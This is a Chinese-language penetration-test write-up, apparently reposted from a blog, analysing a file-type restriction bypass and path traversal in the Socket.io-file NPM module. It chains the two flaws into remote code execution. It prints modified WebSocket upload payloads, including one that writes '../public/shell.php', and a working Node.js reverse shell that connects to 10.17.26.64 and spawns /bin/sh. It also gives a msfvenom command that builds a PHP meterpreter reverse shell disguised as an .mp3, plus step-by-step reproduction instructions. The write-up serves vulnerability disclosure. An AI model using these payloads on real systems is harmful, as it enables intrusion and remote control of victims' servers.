如何实现Socket.io-file NPM模块中的文件类型限制绕过漏洞分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
写在前面的话
在一次渗透测试过程中,我们所面对的应用程序安全系数比较高,没有存在太多的错误配置,因此简单分析并没有发现安全问题。但是深入分析后,我们发现了一个运行在嵌入式设备上的Web应用程序。这个Web应用程序使用了WebSocket来实现服务器和客户端之间的通信,为了使用WebSocket,后端系统可以选择的技术有很多种,而这里使用的是Socket.io。
这个应用程序的主要功能之一就是文件上传,这也是它选择使用Socket.io-file NPM模块的原因。总而言之,这里存在一个路径遍历漏洞,将允许我们上传文件到任意系统路径中,并让Web服务器运行该文件。
如果我们可以修改ssh_config、/etc/passwd或/etc/shadow文件的话,那么这个漏洞就相当于是一个远程代码执行漏洞了,但这只能通过root权限来实现,因此我们需要想办法利用低权限用户来实现远程代码执行。
通过研究之后,我们在Socket.io-file模块中找到了一个文件类型限制绕过漏洞。在该漏洞的帮助下,我们可以绕过模块配置文件中的文件类型限制。这样一来,我们就可以上传任意文件类型,然后通过修改底层配置文件来上传适当的Shell,以实现底层系统的远程代码执行。
除此之外,Socket.io-file的上传功能也存在对输入数据处理和验证逻辑不正确的问题,这些分布在代码的各个地方。而攻击者将能够利用该问题绕过上传文件类型的限制,将所选的文件类型上传到底层系统中。
漏洞描述
Socket.io-file的默认配置下,提供了一个由WebSocket处理的上传功能。当用户尝试通过Web应用程序上传一个文件时,将会创建下列客户端请求以实现文件创建:
42["socket.io-file::createFile",{"id":"u_0","name":"testfile.mp3","size":1,"chunkSize":10240,"sent":0,"data":{}}]
为了在底层系统创建该文件,Socket.io-file的index.js代码将会被执行,下列代码将会检测文件的类型并执行后续操作:
let err = new Error('Not Acceptable file type ' + mimeType + ' of ' + filename + '. Type must be one of these: ' + this.accepts.join(', ')); return sendError(err); } else { self.socket.emit(socket.io-file::complete::${id}, emitObj); self.emit('complete', emitObj); } } else { self.socket.emit(socket.io-file::complete::${id}, emitObj); self.emit('complete', emitObj);
比如说,如果用户上传了一个名为“testfile.mp3”的文件,那么应用程序将创建一个新的.mp3文件,由于钱买你的代码只会在客户端进行检测(WebSocket请求创建之前),那么我们就可以拦截上传请求,并以应用程序修改文件名的方式来修改创建文件的文件类型。下面给出的是漏洞利用样例:
42["socket.io-file::createFile",{"id":"u_0","name":"testfile.php","size":1,"chunkSize":10240,"sent":0,"data":{}}]
为了绕过客户端限制,我们还需要将原始文件的文件类型修改问Web应用程序允许的文件类型。拦截请求之后,我们需要将文件类型修改为原始类型(.php),这样服务器端就不会进行检测了。接下来,我们就可以在底层系统创建一个.php文件了,这样也就实现了文件类型检测绕过。
除此之外,我们还可以结合路径遍历漏洞来执行攻击,我们继续往下看。
结合多个漏洞实现RCE
既然我们可以向任意服务器目录上传任意文件,那么我们就可以在特定配置下,在底层系统实现远程代码执行了。
场景1:修改配置文件
首先,我们可以修改配置文件,向Web服务器中添加恶意JavaScript代码库,然后修改index.html来加载恶意js脚本,即添加一个<script>标签来引入js文件,或直接把js代码拷贝进去。
接下来,我们就可以上传一个js文件(服务器将会在index.html文件中加载该脚本),该文件中包含的代码如下:
(function(){ var net = require(“net”), cp = require(“child_process”), sh = cp.spawn(“/bin/sh”, []); var client = new net.Socket(); client.connect(8080, “10.17.26.64”, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application from crashing })();
需要注意的是,这个反向Shell只能在包含错误配置的Node.js环境中执行。通过修改监听器的IP地址和端口号,我们就可以获取到反向Shell了,并在底层系统实现命令执行。
场景2:利用特定漏洞即错误配置
我们存在漏洞的模块中包含了大量不同的配置项,其中一个就是允许node.js服务器运行PHP。当然了,现在也有很多多用途服务器支持这种功能,而这种漏洞利用起来也相对简单。
我们可以使用msfvenom创建一个PHP反向Shell,然后执行下列命令:
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.17.26.64 LPORT=4443 -f raw > shell.mp3
该命令将创建一个php文件,当服务器执行该文件时,便能够给我们提供一个反向Shell。此时,结合之前的漏洞上传文件,我们需要修改上传WebSocket请求:
42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../public/shell.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]
该命令将把我们的文件上传至服务器端的公共文件夹,使用浏览器进入该目录,我们就可以执行PHP Shell,并在我们的攻击设备上获取到反向Shell了:
漏洞复现
为了复现该漏洞,我们需要执行下列操作:
-
设置一个代理来拦截HTTP和WebSocket请求;
-
创建一个Web应用程序允许的文件类型;
-
使用io-file上传一个文件,并拦截WebSocket请求;
-
根据文件类型修改请求中的“name”参数值:
42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”testfile.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]
上述命令将会在当前用户的date目录中创建一个testfile.php文件,我们的测试服务器存储文件路径为/home/ubuntutest/Documents/socket-app/data。
关于如何实现Socket.io-file NPM模块中的文件类型限制绕过漏洞分析问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注亿速云行业资讯频道了解更多相关知识。
原创文章,作者:奋斗,如若转载,请注明出处:https://blog.ytso.com/221809.html